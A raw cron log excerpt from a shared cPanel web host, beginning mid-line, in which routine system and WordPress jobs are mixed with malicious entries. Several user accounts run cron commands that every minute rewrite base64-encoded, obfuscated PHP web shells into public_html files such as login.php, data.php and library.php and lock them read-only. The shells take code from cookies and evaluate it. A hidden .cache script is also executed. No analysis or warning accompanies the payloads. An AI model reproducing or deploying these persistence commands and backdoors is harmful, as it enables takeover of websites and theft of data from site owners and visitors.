FBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:46:01 medusa CROND[29722]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:46:01 medusa CROND[29724]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:46:01 medusa CROND[29725]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:46:02 medusa CROND[29726]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:46:02 medusa CROND[29730]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:46:02 medusa CROND[29731]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:46:02 medusa CROND[29733]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 15:46:02 medusa CROND[29737]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:47:01 medusa CROND[16428]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:47:01 medusa CROND[16429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:47:01 medusa CROND[16430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:47:01 medusa CROND[16431]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:47:01 medusa CROND[16432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:47:01 medusa CROND[16433]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:47:01 medusa CROND[16435]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:47:01 medusa CROND[16441]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:47:01 medusa CROND[16442]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:47:01 medusa CROND[16449]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:47:01 medusa CROND[16456]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:47:01 medusa CROND[16457]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  2 15:47:01 medusa CROND[16458]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:48:01 medusa CROND[456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:48:01 medusa CROND[511]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:48:02 medusa CROND[800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:48:02 medusa CROND[802]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:48:02 medusa CROND[805]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:48:02 medusa CROND[806]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:48:02 medusa CROND[807]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:48:02 medusa CROND[822]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:48:02 medusa CROND[823]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:48:02 medusa CROND[821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 15:48:02 medusa CROND[824]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:48:02 medusa CROND[826]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
